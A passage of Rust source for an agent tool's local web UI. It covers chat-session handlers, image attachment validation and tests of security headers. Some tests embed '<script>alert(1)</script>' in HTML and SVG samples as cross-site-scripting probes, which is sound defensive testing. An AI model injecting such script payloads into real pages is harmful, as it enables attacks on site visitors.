7164 Json(body): Json<TalkPersona>,
7165) -> ApiResult<Json<TalkView>> {
7166 let id = {
7167 let ui = Arc::clone(&ui);
7168 blocking(move || resolve_talk(&ui.talks, &id)).await?
7169 };
7170 let repo = {
7171 let ui = Arc::clone(&ui);
7172 let id = id.clone();
7173 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7174 };
7175 let cfg = config_for(&repo).await?;
7176 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7177 return Err(ApiError::conflict(
7178 "a talk turn is running; change the persona once it has answered",
7179 ));
7180 };
7181 let switched = {
7182 let ui = Arc::clone(&ui);
7183 let id = id.clone();
7184 let cfg = cfg.clone();
7185 blocking(move || {
7186 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
7187 return Err(ApiError::bad_request(format!(
7188 "unknown persona `{}`",
7189 body.persona
7190 )));
7191 };
7192 let mut talk = ui.talks.get(&id)?;
7193 if !talk.status.open() {
7194 return Err(ApiError::conflict(format!(
7195 "talk {} is {} and takes no more turns",
7196 talk.short(),
7197 talk.status.as_str()
7198 )));
7199 }
7200 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
7201 Ok(talk)
7202 })
7203 .await
7204 };
7205 let fresh = {
7207 let ui = Arc::clone(&ui);
7208 let id = id.clone();
7209 blocking(move || Ok(ui.talks.get(&id)?)).await
7210 };
7211 let draining = match fresh {
7212 Ok(talk) => {
7213 let draining = talk.status.open()
7214 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7215 let talks = ui.talks.clone();
7216 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7217 draining
7218 }
7219 Err(_) => false,
7220 };
7221 let talk = switched?;
7222 Ok(Json(TalkView::new(talk, draining)))
7223}
7224
7225#[derive(Debug, Deserialize)]
7227struct TalkImplementers {
7228 implementers: u8,
7229}
7230
7231async fn talk_implementers(
7235 State(ui): State<Arc<Ui>>,
7236 Path(id): Path<String>,
7237 Json(body): Json<TalkImplementers>,
7238) -> ApiResult<Json<TalkView>> {
7239 let id = {
7240 let ui = Arc::clone(&ui);
7241 blocking(move || resolve_talk(&ui.talks, &id)).await?
7242 };
7243 let repo = {
7244 let ui = Arc::clone(&ui);
7245 let id = id.clone();
7246 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7247 };
7248 let cfg = config_for(&repo).await?;
7249 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7250 return Err(ApiError::conflict(
7251 "a talk turn is running; change the implementers once it has answered",
7252 ));
7253 };
7254 let switched = {
7255 let ui = Arc::clone(&ui);
7256 let id = id.clone();
7257 let cfg = cfg.clone();
7258 blocking(move || {
7259 let chosen =
7260 talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
7261 let mut talk = ui.talks.get(&id)?;
7262 if !talk.status.open() {
7263 return Err(ApiError::conflict(format!(
7264 "talk {} is {} and takes no more turns",
7265 talk.short(),
7266 talk.status.as_str()
7267 )));
7268 }
7269 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
7270 Ok(talk)
7271 })
7272 .await
7273 };
7274 let fresh = {
7276 let ui = Arc::clone(&ui);
7277 let id = id.clone();
7278 blocking(move || Ok(ui.talks.get(&id)?)).await
7279 };
7280 let draining = match fresh {
7281 Ok(talk) => {
7282 let draining = talk.status.open()
7283 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7284 let talks = ui.talks.clone();
7285 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7286 draining
7287 }
7288 Err(_) => false,
7289 };
7290 let talk = switched?;
7291 Ok(Json(TalkView::new(talk, draining)))
7292}
7293
7294async fn talk_close(
7296 State(ui): State<Arc<Ui>>,
7297 Path(id): Path<String>,
7298) -> ApiResult<Json<TalkView>> {
7299 blocking(move || {
7300 let id = resolve_talk(&ui.talks, &id)?;
7301 let mut talk = ui.talks.get(&id)?;
7302 talk::close(&mut talk, &ui.talks)?;
7303 let thinking = ui.is_thinking(&talk.id);
7304 Ok(Json(TalkView::new(talk, thinking)))
7305 })
7306 .await
7307}
7308
7309async fn talk_reopen(
7311 State(ui): State<Arc<Ui>>,
7312 Path(id): Path<String>,
7313) -> ApiResult<Json<TalkView>> {
7314 blocking(move || {
7315 let id = resolve_talk(&ui.talks, &id)?;
7316 let mut talk = ui.talks.get(&id)?;
7317 talk::reopen(&mut talk, &ui.talks)?;
7318 let thinking = ui.is_thinking(&talk.id);
7319 Ok(Json(TalkView::new(talk, thinking)))
7320 })
7321 .await
7322}
7323
7324async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7334 blocking(move || {
7335 let id = resolve_talk(&ui.talks, &id)?;
7336 ui.talks.remove(&id)?;
7337 Ok(StatusCode::NO_CONTENT)
7338 })
7339 .await
7340}
7341
7342fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
7344 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
7345}
7346
7347async fn talk_attachment_post(
7350 State(ui): State<Arc<Ui>>,
7351 Path(id): Path<String>,
7352 headers: HeaderMap,
7353 body: Bytes,
7354) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
7355 let mime = validate_attachment(&headers, &body)?;
7356 let name = filename_header(&headers);
7357 let data = body.to_vec();
7358 blocking(move || {
7359 let id = resolve_talk(&ui.talks, &id)?;
7360 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
7361 Ok((StatusCode::CREATED, Json(att)))
7362 })
7363 .await
7364}
7365
7366async fn talk_attachment_get(
7369 State(ui): State<Arc<Ui>>,
7370 Path((id, att)): Path<(String, String)>,
7371) -> ApiResult<Response> {
7372 blocking(move || {
7373 let id = resolve_talk(&ui.talks, &id)?;
7374 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
7375 return Err(ApiError::not_found(format!(
7376 "talk {id} has no attachment `{att}`"
7377 )));
7378 };
7379 Ok(attachment_response(&meta.mime, data))
7380 })
7381 .await
7382}
7383
7384fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
7395 if data.len() > ATTACHMENT_MAX_BYTES {
7396 return Err(ApiError::bad_request(format!(
7397 "attachment is {} bytes, over the {} MiB limit",
7398 data.len(),
7399 ATTACHMENT_MAX_BYTES / (1024 * 1024)
7400 ))
7401 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
7402 }
7403 if data.is_empty() {
7404 return Err(ApiError::bad_request("attachment is empty"));
7405 }
7406 let declared = declared_mime(headers)?;
7407 match sniffed_mime(data) {
7408 Some(sniffed) if sniffed == declared => Ok(declared),
7409 Some(sniffed) => Err(ApiError::bad_request(format!(
7410 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
7411 ))),
7412 None => Err(ApiError::bad_request(
7413 "the file's bytes do not match any accepted image format",
7414 )),
7415 }
7416}
7417
7418fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
7422 let raw = headers
7423 .get(header::CONTENT_TYPE)
7424 .and_then(|v| v.to_str().ok())
7425 .unwrap_or("")
7426 .split(';')
7427 .next()
7428 .unwrap_or("")
7429 .trim()
7430 .to_ascii_lowercase();
7431 ATTACHMENT_MIME_WHITELIST
7432 .iter()
7433 .find(|&&m| m == raw)
7434 .copied()
7435 .ok_or_else(|| {
7436 if raw == "image/svg+xml" {
7437 ApiError::bad_request(
7438 "SVG is not accepted: it can carry active content (e.g. a <script>), \
7439 not just a picture",
7440 )
7441 } else if raw.is_empty() {
7442 ApiError::bad_request("Content-Type is required for an attachment upload")
7443 } else {
7444 ApiError::bad_request(format!(
7445 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
7446 image/gif or image/webp"
7447 ))
7448 }
7449 })
7450}
7451
7452fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
7455 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
7456 Some("image/png")
7457 } else if data.starts_with(b"\xff\xd8\xff") {
7458 Some("image/jpeg")
7459 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
7460 Some("image/gif")
7461 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
7462 Some("image/webp")
7463 } else {
7464 None
7465 }
7466}
7467
7468fn filename_header(headers: &HeaderMap) -> String {
7474 headers
7475 .get(FILENAME_HEADER)
7476 .and_then(|v| v.to_str().ok())
7477 .map(str::trim)
7478 .filter(|s| !s.is_empty())
7479 .unwrap_or("attachment")
7480 .to_owned()
7481}
7482
7483fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
7490 let content_type = ATTACHMENT_MIME_WHITELIST
7491 .iter()
7492 .find(|&&m| m == mime)
7493 .copied()
7494 .unwrap_or("application/octet-stream");
7495 (
7496 [
7497 (header::CONTENT_TYPE, content_type),
7498 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7499 ],
7500 body,
7501 )
7502 .into_response()
7503}
7504
7505async fn config_for(repo: &FsPath) -> ApiResult<Config> {
7513 let repo = repo.to_path_buf();
7514 blocking(move || {
7515 let (cfg, _) = Config::discover(&repo, None)?;
7516 Ok(cfg)
7517 })
7518 .await
7519}
7520
7521fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
7527 let mut hits = ids
7528 .into_iter()
7529 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
7530 match (hits.next(), hits.next()) {
7531 (Some(one), None) => Ok(one),
7532 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
7533 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
7534 "`{prefix}` matches more than one {what}, including {a} and {b}"
7535 ))),
7536 }
7537}
7538
7539#[cfg(test)]
7540mod tests {
7541
7542 #[test]
7543 fn holder_reads_the_lease_not_the_record() {
7544 let mut q = Question::new(
7545 "run".to_owned(),
7546 "implement".to_owned(),
7547 "impl-A".to_owned(),
7548 "which?".to_owned(),
7549 String::new(),
7550 Vec::new(),
7551 );
7552 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
7553 q.cwd = Some("/tmp".to_owned());
7554 assert_eq!(holder_of(&q, None), Some("nobody"));
7555 let beat = |kind, ago: i64| ask::Lease {
7556 kind,
7557 pid: 1,
7558 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
7559 .unwrap(),
7560 };
7561 let fresh = beat(ask::WaiterKind::Asker, 1);
7562 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
7563 let daemon = beat(ask::WaiterKind::Daemon, 1);
7564 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
7565 let stale = beat(ask::WaiterKind::Asker, 3600);
7566 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
7567
7568 let mut c = Question::new(
7571 "task".to_owned(),
7572 crate::conduct::NODE.to_owned(),
7573 "conduct".to_owned(),
7574 "which?".to_owned(),
7575 String::new(),
7576 Vec::new(),
7577 );
7578 assert_eq!(holder_of(&c, None), Some("nobody"));
7579 c.cwd = Some("/tmp".to_owned());
7580 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
7581 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
7582 let deputy = beat(ask::WaiterKind::Deputy, 1);
7583 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
7584 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
7585
7586 let mut r = Question::new(
7588 String::new(),
7589 crate::bump::NOTICE_NODE.to_owned(),
7590 "release-watch".to_owned(),
7591 "stuck?".to_owned(),
7592 String::new(),
7593 vec!["hold".to_owned()],
7594 );
7595 assert_eq!(holder_of(&r, None), Some("nobody"));
7596 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
7597 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
7598 r.deputy = None;
7600 r.seat = "bump".to_owned();
7601 assert_eq!(holder_of(&r, None), None);
7602
7603 let mut m = Question::new(
7606 "run".to_owned(),
7607 crate::land::APPROVAL_NODE.to_owned(),
7608 "land".to_owned(),
7609 "merge?".to_owned(),
7610 String::new(),
7611 Vec::new(),
7612 );
7613 assert_eq!(holder_of(&m, None), Some("nobody"));
7614 assert_eq!(
7615 holder_of(&m, Some(&fresh)),
7616 Some("nobody"),
7617 "a lease with no deputy is not a listener"
7618 );
7619 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
7620 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
7621 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
7622 assert_eq!(holder_of(&m, None), Some("nobody"));
7623 }
7624
7625 fn stub_config() -> Config {
7626 Config {
7629 agents: vec![crate::config::AgentSpec {
7630 id: "stub".to_owned(),
7631 kind: AgentKind::Command,
7632 model: None,
7633 command: vec!["true".to_owned()],
7634 extra_args: Vec::new(),
7635 env: Default::default(),
7636 prompt_delivery: None,
7637 }],
7638 ..Config::default()
7639 }
7640 }
7641
7642 fn plain_question(seat: &str) -> Question {
7643 Question::new(
7644 String::new(),
7645 "n".to_owned(),
7646 seat.to_owned(),
7647 "s".to_owned(),
7648 String::new(),
7649 Vec::new(),
7650 )
7651 }
7652
7653 #[test]
7654 fn deputies_enabled_follows_the_config() {
7655 let on = stub_config();
7656 assert!(crate::deputy::can_start(Some(&on), ""));
7657 assert!(crate::deputy::can_start(Some(&on), "stub"));
7658 let mut off = on.clone();
7659 off.daemon.max_deputies = 0;
7660 assert!(!crate::deputy::can_start(Some(&off), ""));
7661 let mut empty = on;
7662 empty.agents.clear();
7663 assert!(!crate::deputy::can_start(Some(&empty), ""));
7664 assert!(!crate::deputy::can_start(None, ""));
7665 }
7666
7667 #[test]
7668 fn question_views_load_the_config_once() {
7669 let dir = TempDir::new().unwrap();
7670 let store = ask::Questions::at(dir.path().to_path_buf());
7671 let mut with_deputy = plain_question("b");
7672 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
7673 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
7674
7675 let calls = std::cell::Cell::new(0usize);
7676 let views = question_views(qs.clone(), &store, || {
7677 calls.set(calls.get() + 1);
7678 Some(stub_config())
7679 });
7680 assert_eq!(calls.get(), 1);
7681 assert_eq!(views.len(), 3);
7682 for (v, q) in views.iter().zip(&qs) {
7683 assert_eq!(
7684 v.deputies_enabled,
7685 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
7686 );
7687 }
7688
7689 let views = question_views(qs, &store, || None);
7690 assert!(views.iter().all(|v| !v.deputies_enabled));
7691
7692 let calls = std::cell::Cell::new(0usize);
7693 let views = question_views(Vec::new(), &store, || {
7694 calls.set(calls.get() + 1);
7695 None
7696 });
7697 assert!(views.is_empty());
7698 assert_eq!(calls.get(), 0);
7699 }
7700
7701 use pretty_assertions::assert_eq;
7702 use serde_json::Value;
7703 use tempfile::TempDir;
7704 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
7705
7706 use super::*;
7707 use crate::config::Config;
7708 use crate::queue::Source;
7709
7710 const SETTLE_STEPS: usize = 3_000;
7721
7722 struct Fixture {
7728 home: TempDir,
7729 addr: SocketAddr,
7730 }
7731
7732 impl Fixture {
7733 async fn start() -> Self {
7734 Self::with_loop(launch_idle).await
7735 }
7736
7737 async fn with_loop(launch: Launch) -> Self {
7739 let home = TempDir::new().expect("temp home");
7740 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
7741 Self { home, addr }
7742 }
7743
7744 async fn with_repo(repo: PathBuf) -> Self {
7748 let home = TempDir::new().expect("temp home");
7749 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
7750 Self { home, addr }
7751 }
7752
7753 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
7756 let home = TempDir::new().expect("temp home");
7757 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
7758 Self { home, addr }
7759 }
7760
7761 async fn serve(
7762 home: &FsPath,
7763 repo: PathBuf,
7764 launch: Launch,
7765 machine: Option<PathBuf>,
7766 ) -> SocketAddr {
7767 let queue = Queue::at(home.join("queue"));
7768 let runs = home.join("runs");
7769 std::fs::create_dir_all(&runs).expect("runs dir");
7770 let worktrees = home.join("wt").join("magi");
7771 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
7772 let ui = Ui::new(
7773 queue,
7774 Questions::at(home.join("questions")),
7775 Talks::at(home.join("talks")),
7776 runs,
7777 home.to_path_buf(),
7778 repo,
7779 )
7780 .with_worktrees_root(worktrees)
7781 .with_machine_config(machine)
7782 .with_launch(launch);
7783 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7784 .await
7785 .expect("bind loopback");
7786 let addr = listener.local_addr().expect("local addr");
7787 tokio::spawn(async move {
7788 let _ = axum::serve(listener, ui.router()).await;
7789 });
7790 addr
7791 }
7792
7793 fn queue(&self) -> Queue {
7794 Queue::at(self.home.path().join("queue"))
7795 }
7796
7797 fn questions(&self) -> Questions {
7798 Questions::at(self.home.path().join("questions"))
7799 }
7800
7801 fn talks(&self) -> Talks {
7802 Talks::at(self.home.path().join("talks"))
7803 }
7804
7805 fn runs(&self) -> PathBuf {
7806 self.home.path().join("runs")
7807 }
7808
7809 async fn get(&self, path: &str) -> Res {
7810 request(self.addr, "GET", path, None).await
7811 }
7812
7813 async fn head(&self, path: &str) -> Res {
7818 request(self.addr, "HEAD", path, None).await
7819 }
7820
7821 async fn post(&self, path: &str, body: Option<&str>) -> Res {
7822 request(self.addr, "POST", path, body).await
7823 }
7824
7825 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
7826 request_with(self.addr, "GET", path, None, extra).await
7827 }
7828
7829 async fn delete(&self, path: &str) -> Res {
7830 request(self.addr, "DELETE", path, None).await
7831 }
7832
7833 async fn put(&self, path: &str, body: &str) -> Res {
7834 request(self.addr, "PUT", path, Some(body)).await
7835 }
7836
7837 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
7839 request_bytes(self.addr, path, headers, body).await
7840 }
7841 }
7842
7843 struct Res {
7844 status: u16,
7845 headers: String,
7846 head: String,
7851 body: String,
7852 bytes: Vec<u8>,
7856 }
7857
7858 impl Res {
7859 fn json(&self) -> Value {
7860 serde_json::from_str(&self.body)
7861 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
7862 }
7863
7864 fn header(&self, name: &str) -> Option<&str> {
7866 self.head.lines().find_map(|line| {
7867 let (key, value) = line.split_once(':')?;
7868 key.trim()
7869 .eq_ignore_ascii_case(name)
7870 .then(|| value.trim_start().trim_end_matches('\r'))
7871 })
7872 }
7873 }
7874
7875 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
7878 request_with(addr, method, path, body, &[]).await
7879 }
7880
7881 async fn request_with(
7885 addr: SocketAddr,
7886 method: &str,
7887 path: &str,
7888 body: Option<&str>,
7889 extra: &[(&str, &str)],
7890 ) -> Res {
7891 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7892 for (name, value) in extra {
7893 head.push_str(&format!("{name}: {value}\r\n"));
7894 }
7895 if let Some(body) = body {
7896 head.push_str("Content-Type: application/json\r\n");
7897 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
7898 }
7899 head.push_str("\r\n");
7900 if let Some(body) = body {
7901 head.push_str(body);
7902 }
7903 let mut socket = tokio::net::TcpStream::connect(addr)
7904 .await
7905 .expect("connect to the test server");
7906 socket
7907 .write_all(head.as_bytes())
7908 .await
7909 .expect("write request");
7910 let mut raw = Vec::new();
7911 socket.read_to_end(&mut raw).await.expect("read response");
7912 let split = raw
7915 .windows(4)
7916 .position(|w| w == b"\r\n\r\n")
7917 .expect("a header block");
7918 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7919 let bytes = raw[split + 4..].to_vec();
7920 let status = head
7921 .lines()
7922 .next()
7923 .and_then(|line| line.split_whitespace().nth(1))
7924 .and_then(|code| code.parse().ok())
7925 .expect("a status line");
7926 Res {
7927 status,
7928 headers: head.to_lowercase(),
7929 head,
7930 body: String::from_utf8_lossy(&bytes).into_owned(),
7931 bytes,
7932 }
7933 }
7934
7935 async fn request_bytes(
7941 addr: SocketAddr,
7942 path: &str,
7943 headers: &[(&str, &str)],
7944 body: &[u8],
7945 ) -> Res {
7946 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7947 for (name, value) in headers {
7948 head.push_str(&format!("{name}: {value}\r\n"));
7949 }
7950 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
7951 let mut socket = tokio::net::TcpStream::connect(addr)
7952 .await
7953 .expect("connect to the test server");
7954 socket
7955 .write_all(head.as_bytes())
7956 .await
7957 .expect("write request head");
7958 socket.write_all(body).await.expect("write request body");
7959 let mut raw = Vec::new();
7960 socket.read_to_end(&mut raw).await.expect("read response");
7961 let split = raw
7962 .windows(4)
7963 .position(|w| w == b"\r\n\r\n")
7964 .expect("a header block");
7965 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7966 let bytes = raw[split + 4..].to_vec();
7967 let status = head
7968 .lines()
7969 .next()
7970 .and_then(|line| line.split_whitespace().nth(1))
7971 .and_then(|code| code.parse().ok())
7972 .expect("a status line");
7973 Res {
7974 status,
7975 headers: head.to_lowercase(),
7976 head,
7977 body: String::from_utf8_lossy(&bytes).into_owned(),
7978 bytes,
7979 }
7980 }
7981
7982 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
7984 let mut state = RunState::new(
7985 PathBuf::from("/repo/magi"),
7986 "main".to_owned(),
7987 "0123456789abcdef".to_owned(),
7988 "Add a web UI\n\nMobile first.".to_owned(),
7989 Config::default(),
7990 );
7991 state.id = id.to_owned();
7992 state.status = status;
7993 let dir = runs.join(id);
7994 std::fs::create_dir_all(&dir).expect("run dir");
7995 std::fs::write(
7996 dir.join("run.json"),
7997 serde_json::to_string_pretty(&state).expect("serialize run"),
7998 )
7999 .expect("write run.json");
8000 }
8001
8002 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
8006 let mut state = RunState::new(
8007 PathBuf::from(repo),
8008 "main".to_owned(),
8009 "0123456789abcdef".to_owned(),
8010 "task".to_owned(),
8011 Config::default(),
8012 );
8013 state.id = id.to_owned();
8014 state.status = status;
8015 let dir = runs.join(id);
8016 std::fs::create_dir_all(&dir).expect("run dir");
8017 std::fs::write(
8018 dir.join("run.json"),
8019 serde_json::to_string_pretty(&state).expect("serialize run"),
8020 )
8021 .expect("write run.json");
8022 }
8023
8024 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
8025 let body = serde_json::json!({
8026 "schema": 1,
8027 "pid": 4242,
8028 "started_at": Timestamp::now().to_string(),
8029 "updated_at": updated_at.to_string(),
8030 "idle": false,
8031 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
8032 "completed": 7,
8033 "polls": 143,
8034 });
8035 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
8036 }
8037
8038 fn launch_idle(
8048 _opts: daemon::Opts,
8049 stop: daemon::Stop,
8050 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8051 Box::pin(async move {
8052 while !stop.stopped() {
8053 tokio::time::sleep(Duration::from_millis(2)).await;
8054 }
8055 Ok(())
8056 })
8057 }
8058
8059 fn launch_broken(
8062 _opts: daemon::Opts,
8063 _stop: daemon::Stop,
8064 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8065 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
8070 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
8071 Box::pin(async move {
8072 Err(anyhow::anyhow!(if first {
8073 "publish the daemon status file: read-only file system"
8074 } else {
8075 "the restarted stand-in failed as well"
8076 }))
8077 })
8078 }
8079
8080 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
8087 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
8088
8089 fn launch_knocking_on_the_way_out(
8096 _opts: daemon::Opts,
8097 stop: daemon::Stop,
8098 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8099 Box::pin(async move {
8100 while !stop.stopped() {
8101 tokio::time::sleep(Duration::from_millis(2)).await;
8102 }
8103 let addr = PARK_KNOCK
8104 .lock()
8105 .expect("park knock")
8106 .expect("the test set an address");
8107 let heard = request(addr, "GET", "/api/health", None).await.status;
8108 *PARK_HEARD.lock().expect("park heard") = Some(heard);
8109 Ok(())
8110 })
8111 }
8112
8113 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
8122 for _ in 0..SETTLE_STEPS {
8123 let view = fx.get("/api/loop").await.json();
8124 if want(&view) {
8125 return view;
8126 }
8127 tokio::time::sleep(Duration::from_millis(10)).await;
8128 }
8129 panic!(
8130 "the loop never settled: {}",
8131 fx.get("/api/loop").await.json()
8132 );
8133 }
8134
8135 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
8137 let store = fx.questions();
8138 let mut q = Question::new(
8139 "20260902-000000-beef".to_owned(),
8140 "implement".to_owned(),
8141 "impl-A".to_owned(),
8142 summary.to_owned(),
8143 "because it matters".to_owned(),
8144 choices.iter().map(|c| (*c).to_owned()).collect(),
8145 );
8146 store.put(&mut q).expect("put question");
8147 q.id
8148 }
8149
8150 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
8156 let store = fx.questions();
8157 let mut q = Question::new(
8158 "20260902-000000-beef".to_owned(),
8159 "land".to_owned(),
8160 "fix".to_owned(),
8161 "Merge this?".to_owned(),
8162 "the diff is in the panel".to_owned(),
8163 vec!["merge".to_owned(), "hold".to_owned()],
8164 );
8165 let staging = fx.home.path().join("staging");
8168 std::fs::create_dir_all(&staging).expect("staging dir");
8169 let sources: Vec<PathBuf> = assets
8170 .iter()
8171 .map(|(name, bytes)| {
8172 let path = staging.join(name);
8173 std::fs::write(&path, bytes).expect("write staged asset");
8174 path
8175 })
8176 .collect();
8177 store
8178 .put_panel(&mut q, html, &sources)
8179 .expect("write the panel");
8180 store.put(&mut q).expect("put question");
8181 q.id
8182 }
8183
8184 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
8193 seed_talk_at(&fx.talks(), id, status)
8194 }
8195
8196 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
8197 std::fs::create_dir_all(store.root()).expect("talks dir");
8198 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
8199 .expect("serialize a seat");
8200 let body = serde_json::json!({
8201 "schema": 1,
8202 "id": id,
8203 "repo": "/repo/magi",
8204 "agent": "mock",
8205 "status": status,
8206 "turns": [],
8207 "created_at": Timestamp::now().to_string(),
8208 "updated_at": Timestamp::now().to_string(),
8209 "seat": seat,
8210 });
8211 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
8212 store.get(id).expect("the seeded talk has to be readable");
8213 id.to_owned()
8214 }
8215
8216 #[tokio::test]
8217 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
8218 let fx = Fixture::start().await;
8219 let id = panel(
8220 &fx,
8221 "<h1>Merge?</h1><img src=\"diff.svg\">",
8222 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
8223 );
8224
8225 for path in [
8226 format!("/api/questions/{id}/panel"),
8227 format!("/api/questions/{id}/asset/diff.svg"),
8228 ] {
8229 let res = fx.get(&path).await;
8230 assert_eq!(res.status, 200, "{path}: {}", res.body);
8231 assert_eq!(
8237 res.header("content-security-policy"),
8238 Some(
8239 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
8240 font-src data:; base-uri 'none'; form-action 'none'; \
8241 frame-ancestors 'self'"
8242 ),
8243 "{path} is the only thing between a hostile panel and the tailnet"
8244 );
8245 assert_eq!(
8246 res.header("x-content-type-options"),
8247 Some("nosniff"),
8248 "{path}: a browser must not re-decide the type we sent"
8249 );
8250 assert_eq!(
8251 res.header("referrer-policy"),
8252 Some("no-referrer"),
8253 "{path}: a panel must not leak the question id off the machine"
8254 );
8255
8256 let pre = fx.head(&path).await;
8261 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
8262 assert_eq!(
8263 pre.header("content-security-policy"),
8264 res.header("content-security-policy"),
8265 "{path}: the preflight carries the same policy"
8266 );
8267 assert_eq!(
8268 pre.header("content-type"),
8269 res.header("content-type"),
8270 "{path}: the preflight carries the same type"
8271 );
8272 }
8273 }
8274
8275 #[tokio::test]
8276 async fn a_panel_reaches_the_browser_byte_for_byte() {
8277 let fx = Fixture::start().await;
8278 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
8283 let id = panel(&fx, html, &[]);
8284
8285 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
8286
8287 assert_eq!(res.status, 200);
8288 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
8289 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
8290 assert_eq!(
8291 res.header("content-disposition"),
8292 None,
8293 "the panel itself is rendered in the frame, not downloaded"
8294 );
8295 }
8296
8297 #[tokio::test]
8298 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
8299 let fx = Fixture::start().await;
8300 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
8301 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
8302 let id = panel(
8303 &fx,
8304 "<img src=\"diff.svg\"><img src=\"shot.png\">",
